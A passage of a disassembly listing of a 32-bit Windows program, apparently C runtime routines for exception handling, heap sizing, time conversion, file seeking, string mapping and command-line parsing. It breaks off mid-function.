		mov	eax, dword_4DCE28
		test	eax, eax
		jz	short loc_41F184
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41F180
; ---------------------------------------------------------------------------


loc_41F179:				; DATA XREF: .nsp0:00424910o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F17D:				; DATA XREF: .nsp0:00424914o
		mov	esp, [ebp+var_18]


loc_41F180:				; CODE XREF: sub_41F13C+3Bj
		and	[ebp+var_4], 0


loc_41F184:				; CODE XREF: sub_41F13C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41F18D:				; DATA XREF: .nsp0:00424908o
		jmp	loc_4213D0
sub_41F13C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F192	proc near		; CODE XREF: sub_419857+23p
					; sub_419857:loc_4198C2p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424918
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43F854
		test	eax, eax
		jz	short loc_41F1DA
		mov	[ebp+var_4], 1
		call	eax ; sub_41F13C
		jmp	short loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F1CF:				; DATA XREF: .nsp0:00424928o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F1D3:				; DATA XREF: .nsp0:0042492Co
		mov	esp, [ebp+var_18]


loc_41F1D6:				; CODE XREF: sub_41F192+3Bj
		and	[ebp+var_4], 0


loc_41F1DA:				; CODE XREF: sub_41F192+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41F1E3:				; DATA XREF: .nsp0:00424920o
		jmp	sub_41F13C
sub_41F192	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F1E8	proc near		; CODE XREF: sub_419D33+7p
					; sub_419D33+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DE408
		push	esi
		cmp	eax, 3
		jnz	short loc_41F211
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AA57
		test	eax, eax
		pop	ecx
		jz	short loc_41F20E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41F246
; ---------------------------------------------------------------------------


loc_41F20E:				; CODE XREF: sub_41F1E8+1Cj
		push	esi
		jmp	short loc_41F238
; ---------------------------------------------------------------------------


loc_41F211:				; CODE XREF: sub_41F1E8+Ej
		cmp	eax, 2
		jnz	short loc_41F235
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B7B2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F235
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41F246
; ---------------------------------------------------------------------------


loc_41F235:				; CODE XREF: sub_41F1E8+2Cj
					; sub_41F1E8+43j
		push	[ebp+arg_0]


loc_41F238:				; CODE XREF: sub_41F1E8+27j
		push	0
		push	dword_4DE404
		call	dword_424058	; RtlSizeHeap


loc_41F246:				; CODE XREF: sub_41F1E8+24j
					; sub_41F1E8+4Bj
		pop	esi
		leave
		retn
sub_41F1E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F249	proc near		; CODE XREF: sub_419DE1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41F305
		cmp	ebx, 8Ah
		jg	loc_41F305
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43FD1C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41F288
		cmp	edi, 2
		jle	short loc_41F288
		inc	esi


loc_41F288:				; CODE XREF: sub_41F249+37j
					; sub_41F249+3Cj
		call	sub_4213E7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43FC38
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41F2FB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41F301
		cmp	dword_43FC3C, 0
		jz	short loc_41F301
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42165A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41F301


loc_41F2FB:				; CODE XREF: sub_41F249+90j
		add	ecx, dword_43FC40


loc_41F301:				; CODE XREF: sub_41F249+96j
					; sub_41F249+9Fj ...
		mov	eax, ecx
		jmp	short loc_41F308
; ---------------------------------------------------------------------------


loc_41F305:				; CODE XREF: sub_41F249+13j
					; sub_41F249+1Fj
		or	eax, 0FFFFFFFFh


loc_41F308:				; CODE XREF: sub_41F249+BAj
		pop	ebx
		leave
		retn
sub_41F249	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F30B	proc near		; DATA XREF: .nsp0:00426028o
		mov	eax, dword_4DE1C0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41F31F
		mov	eax, 200h
		jmp	short loc_41F325
; ---------------------------------------------------------------------------


loc_41F31F:				; CODE XREF: sub_41F30B+Bj
		cmp	eax, esi
		jge	short loc_41F32A
		mov	eax, esi


loc_41F325:				; CODE XREF: sub_41F30B+12j
		mov	dword_4DE1C0, eax


loc_41F32A:				; CODE XREF: sub_41F30B+16j
		push	4
		push	eax
		call	sub_421946
		pop	ecx
		mov	dword_4DD1A4, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F35E
		push	4
		push	esi
		mov	dword_4DE1C0, esi
		call	sub_421946
		pop	ecx
		mov	dword_4DD1A4, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F35E
		push	1Ah
		call	sub_41A609
		pop	ecx


loc_41F35E:				; CODE XREF: sub_41F30B+30j
					; sub_41F30B+49j
		xor	ecx, ecx
		mov	eax, offset off_43F858


loc_41F365:				; CODE XREF: sub_41F30B+6Ej
		mov	edx, dword_4DD1A4
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43FAD8
		jl	short loc_41F365
		xor	edx, edx
		mov	ecx, offset dword_43F868


loc_41F382:				; CODE XREF: sub_41F30B+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F39F
		test	eax, eax
		jnz	short loc_41F3A2


loc_41F39F:				; CODE XREF: sub_41F30B+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41F3A2:				; CODE XREF: sub_41F30B+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43F8C8
		jl	short loc_41F382
		pop	esi
		retn
sub_41F30B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F3B0	proc near		; DATA XREF: .nsp0:00426038o

; FUNCTION CHUNK AT 004219F7 SIZE 00000058 BYTES

		call	sub_41A7C7
		cmp	byte_4DCDB4, 0
		jz	short locret_41F3C3
		jmp	loc_4219F7
; ---------------------------------------------------------------------------

locret_41F3C3:				; CODE XREF: sub_41F3B0+Cj
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F3C4	proc near		; CODE XREF: sub_419F7D+67p
					; sub_41BCFC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD1A0
		push	esi
		push	edi
		jnb	short loc_41F446
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD0A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41F446
		push	eax
		call	sub_4203B6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41F408
		mov	dword_4DCD74, 9
		jmp	short loc_41F457
; ---------------------------------------------------------------------------


loc_41F408:				; CODE XREF: sub_41F3C4+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_424120	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41F428
		call	dword_42408C	; RtlGetLastWin32Error
		jmp	short loc_41F42A
; ---------------------------------------------------------------------------


loc_41F428:				; CODE XREF: sub_41F3C4+5Aj
		xor	eax, eax


loc_41F42A:				; CODE XREF: sub_41F3C4+62j
		test	eax, eax
		jz	short loc_41F437
		push	eax
		call	sub_41CFBF
		pop	ecx
		jmp	short loc_41F457
; ---------------------------------------------------------------------------


loc_41F437:				; CODE XREF: sub_41F3C4+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41F45A
; ---------------------------------------------------------------------------


loc_41F446:				; CODE XREF: sub_41F3C4+Dj
					; sub_41F3C4+2Aj
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 9


loc_41F457:				; CODE XREF: sub_41F3C4+42j
					; sub_41F3C4+71j
		or	eax, 0FFFFFFFFh


loc_41F45A:				; CODE XREF: sub_41F3C4+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F3C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F45E	proc near		; CODE XREF: sub_419F7D+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41F47A
		mov	[edi+4], ebx


loc_41F47A:				; CODE XREF: sub_41F45E+17j
		push	1
		push	ebx
		push	esi
		call	sub_41F3C4
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41F4E8
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41F49F
		sub	eax, [edi+4]
		jmp	loc_41F5B1
; ---------------------------------------------------------------------------


loc_41F49F:				; CODE XREF: sub_41F45E+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41F4D9
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD0A0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41F4F0
		mov	edx, ecx


loc_41F4CA:				; CODE XREF: sub_41F45E+79j
		cmp	edx, eax
		jnb	short loc_41F4F0
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41F4D6
		inc	[ebp+var_8]


loc_41F4D6:				; CODE XREF: sub_41F45E+73j
		inc	edx
		jmp	short loc_41F4CA
; ---------------------------------------------------------------------------


loc_41F4D9:				; CODE XREF: sub_41F45E+50j
		test	dl, 80h
		jnz	short loc_41F4F0
		mov	dword_4DCD74, 16h


loc_41F4E8:				; CODE XREF: sub_41F45E+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41F5B1
; ---------------------------------------------------------------------------


loc_41F4F0:				; CODE XREF: sub_41F45E+68j
					; sub_41F45E+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41F4FE
		mov	eax, [ebp+var_8]
		jmp	loc_41F5B1
; ---------------------------------------------------------------------------


loc_41F4FE:				; CODE XREF: sub_41F45E+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41F5A9
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41F517
		and	[ebp+var_8], edx
		jmp	loc_41F5A9
; ---------------------------------------------------------------------------


loc_41F517:				; CODE XREF: sub_41F45E+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41F5A3
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41F3C4
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F56A
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41F555:				; CODE XREF: sub_41F45E+104j
		cmp	eax, ecx
		jnb	short loc_41F564
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F561
		inc	[ebp+arg_0]


loc_41F561:				; CODE XREF: sub_41F45E+FEj
		inc	eax
		jmp	short loc_41F555
; ---------------------------------------------------------------------------


loc_41F564:				; CODE XREF: sub_41F45E+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41F59E
; ---------------------------------------------------------------------------


loc_41F56A:				; CODE XREF: sub_41F45E+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41F3C4
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41F591
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41F591
		test	ch, 4
		jz	short loc_41F594


loc_41F591:				; CODE XREF: sub_41F45E+124j
					; sub_41F45E+12Cj
		mov	eax, [edi+18h]


loc_41F594:				; CODE XREF: sub_41F45E+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41F59E:				; CODE XREF: sub_41F45E+10Aj
		jz	short loc_41F5A3
		inc	[ebp+arg_0]


loc_41F5A3:				; CODE XREF: sub_41F45E+D9j
					; sub_41F45E:loc_41F59Ej
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41F5A9:				; CODE XREF: sub_41F45E+A4j
					; sub_41F45E+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41F5B1:				; CODE XREF: sub_41F45E+3Cj
					; sub_41F45E+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5B6	proc near		; CODE XREF: sub_41A32C+A3p
					; sub_41CCC8+BEp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424938
		push	offset sub_41FFCC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DCE50, edi
		jnz	short loc_41F62C
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_424930
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_424050	; LCMapStringW
		test	eax, eax
		jz	short loc_41F60A
		mov	dword_4DCE50, ebx
		jmp	short loc_41F62C
; ---------------------------------------------------------------------------


loc_41F60A:				; CODE XREF: sub_41F5B6+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CDDB0
		push	esi
		push	edi
		call	dword_424054	; LCMapStringA
		test	eax, eax
		jz	loc_41F744
		mov	dword_4DCE50, 2


loc_41F62C:				; CODE XREF: sub_41F5B6+2Ej
					; sub_41F5B6+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41F641
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41F7DA
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41F641:				; CODE XREF: sub_41F5B6+79j
		mov	eax, dword_4DCE50
		cmp	eax, 2
		jnz	short loc_41F668
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_424054	; LCMapStringA
		jmp	loc_41F746
; ---------------------------------------------------------------------------


loc_41F668:				; CODE XREF: sub_41F5B6+93j
		cmp	eax, 1
		jnz	loc_41F744
		cmp	[ebp+arg_18], edi
		jnz	short loc_41F67E
		mov	eax, dword_4DCE44
		mov	[ebp+arg_18], eax


loc_41F67E:				; CODE XREF: sub_41F5B6+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_424168	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41F744
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_418880
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41F6D9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41F6D9:				; CODE XREF: sub_41F5B6+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41F744
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_424168	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41F744
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_424050	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41F744
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41F758
		cmp	[ebp+arg_14], edi
		jz	loc_41F7D3
		cmp	esi, [ebp+arg_14]
		jg	short loc_41F744
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_424050	; LCMapStringW
		test	eax, eax
		jnz	loc_41F7D3


loc_41F744:				; CODE XREF: sub_41F5B6+66j
					; sub_41F5B6+B5j ...
		xor	eax, eax


loc_41F746:				; CODE XREF: sub_41F5B6+ADj
					; sub_41F5B6+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F758:				; CODE XREF: sub_41F5B6+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_418880
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41F78C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41F78C:				; CODE XREF: sub_41F5B6+1C2j
		cmp	ebx, edi
		jz	short loc_41F744
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_424050	; LCMapStringW
		test	eax, eax
		jz	short loc_41F744
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41F7B3
		push	edi
		push	edi
		jmp	short loc_41F7B9
; ---------------------------------------------------------------------------


loc_41F7B3:				; CODE XREF: sub_41F5B6+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41F7B9:				; CODE XREF: sub_41F5B6+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_424164	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41F744


loc_41F7D3:				; CODE XREF: sub_41F5B6+165j
					; sub_41F5B6+188j
		mov	eax, esi
		jmp	loc_41F746
sub_41F5B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7DA	proc near		; CODE XREF: sub_41F5B6+81p
					; sub_422B13+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41F7F7


loc_41F7EA:				; CODE XREF: sub_41F7DA+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41F7F7
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41F7EA


loc_41F7F7:				; CODE XREF: sub_41F7DA+Ej
					; sub_41F7DA+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41F802
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41F802:				; CODE XREF: sub_41F7DA+21j
		mov	eax, edx
		retn
sub_41F7DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F805	proc near		; CODE XREF: sub_41A513+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41F946
		test	eax, eax
		pop	ecx
		jz	loc_41F93A
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F93A
		cmp	ebx, 5
		jnz	short loc_41F836
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F943
; ---------------------------------------------------------------------------


loc_41F836:				; CODE XREF: sub_41F805+23j
		cmp	ebx, 1
		jz	loc_41F935
		mov	ecx, dword_4DCE54
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4DCE54, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F925
		mov	ecx, dword_43FB50
		mov	edx, dword_43FB54
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F885
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43FAE0h[esi*4]


loc_41F87C:				; CODE XREF: sub_41F805+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F87C


loc_41F885:				; CODE XREF: sub_41F805+69j
		mov	eax, [eax]
		mov	esi, dword_43FB5C
		cmp	eax, 0C000008Eh
		jnz	short loc_41F8A0
		mov	dword_43FB5C, 83h
		jmp	short loc_41F910
; ---------------------------------------------------------------------------


loc_41F8A0:				; CODE XREF: sub_41F805+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41F8B3
		mov	dword_43FB5C, 81h
		jmp	short loc_41F910
; ---------------------------------------------------------------------------


loc_41F8B3:				; CODE XREF: sub_41F805+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41F8C6
		mov	dword_43FB5C, 84h
		jmp	short loc_41F910
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F805+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41F8D9
		mov	dword_43FB5C, 85h
		jmp	short loc_41F910
; ---------------------------------------------------------------------------


loc_41F8D9:				; CODE XREF: sub_41F805+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F8EC
		mov	dword_43FB5C, 82h
		jmp	short loc_41F910
; ---------------------------------------------------------------------------


loc_41F8EC:				; CODE XREF: sub_41F805+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F8FF
		mov	dword_43FB5C, 86h
		jmp	short loc_41F910
; ---------------------------------------------------------------------------


loc_41F8FF:				; CODE XREF: sub_41F805+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41F910
		mov	dword_43FB5C, 8Ah


loc_41F910:				; CODE XREF: sub_41F805+99j
					; sub_41F805+ACj ...
		push	dword_43FB5C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43FB5C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F92D
; ---------------------------------------------------------------------------


loc_41F925:				; CODE XREF: sub_41F805+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41F92D:				; CODE XREF: sub_41F805+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4DCE54, eax


loc_41F935:				; CODE XREF: sub_41F805+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F943
; ---------------------------------------------------------------------------


loc_41F93A:				; CODE XREF: sub_41F805+Fj
					; sub_41F805+1Aj
		push	[ebp+arg_4]
		call	dword_42404C	; UnhandledExceptionFilter


loc_41F943:				; CODE XREF: sub_41F805+2Cj
					; sub_41F805+133j
		pop	ebx
		pop	ebp
		retn
sub_41F805	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F946	proc near		; CODE XREF: sub_41F805+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43FB58
		cmp	dword_43FAD8, edx
		push	esi
		mov	eax, offset dword_43FAD8
		jz	short loc_41F973
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43FAD8h[esi*4]


loc_41F968:				; CODE XREF: sub_41F946+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F973
		cmp	[eax], edx
		jnz	short loc_41F968


loc_41F973:				; CODE XREF: sub_41F946+16j
					; sub_41F946+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43FAD8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F986
		cmp	[eax], edx
		jz	short locret_41F988


loc_41F986:				; CODE XREF: sub_41F946+3Aj
		xor	eax, eax

locret_41F988:				; CODE XREF: sub_41F946+3Ej
		retn
sub_41F946	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F989	proc near		; CODE XREF: sub_41A513+A5p
		cmp	dword_4DE414, 0
		jnz	short loc_41F997
		call	sub_41CE4D


loc_41F997:				; CODE XREF: sub_41F989+7j
		push	esi
		mov	esi, dword_4DE40C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F9C9


loc_41F9A4:				; CODE XREF: sub_41F989+33j
					; sub_41F989+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F9C1
		test	al, al
		jz	short loc_41F9C1
		movzx	eax, al
		push	eax
		call	sub_421A4F
		test	eax, eax
		pop	ecx
		jz	short loc_41F9A4
		inc	esi
		jmp	short loc_41F9A4
; ---------------------------------------------------------------------------


loc_41F9C1:				; CODE XREF: sub_41F989+21j
					; sub_41F989+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F9D3


loc_41F9C6:				; CODE XREF: sub_41F989+52j
		inc	esi
		jmp	short loc_41F9D3
; ---------------------------------------------------------------------------


loc_41F9C9:				; CODE XREF: sub_41F989+19j
		cmp	al, 20h
		jbe	short loc_41F9D3


loc_41F9CD:				; CODE XREF: sub_41F989+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F9CD


loc_41F9D3:				; CODE XREF: sub_41F989+3Bj
					; sub_41F989+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F9DD
		cmp	al, 20h
		jbe	short loc_41F9C6


loc_41F9DD:				; CODE XREF: sub_41F989+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41F989	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9E1	proc near		; CODE XREF: sub_41A513+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DE414, ebx
		push	esi
		push	edi
		jnz	short loc_41F9F3
		call	sub_41CE4D


loc_41F9F3:				; CODE XREF: sub_41F9E1+Bj
		mov	esi, dword_4DCDE8
		xor	edi, edi


loc_41F9FB:				; CODE XREF: sub_41F9E1+30j
		mov	al, [esi]
		cmp	al, bl
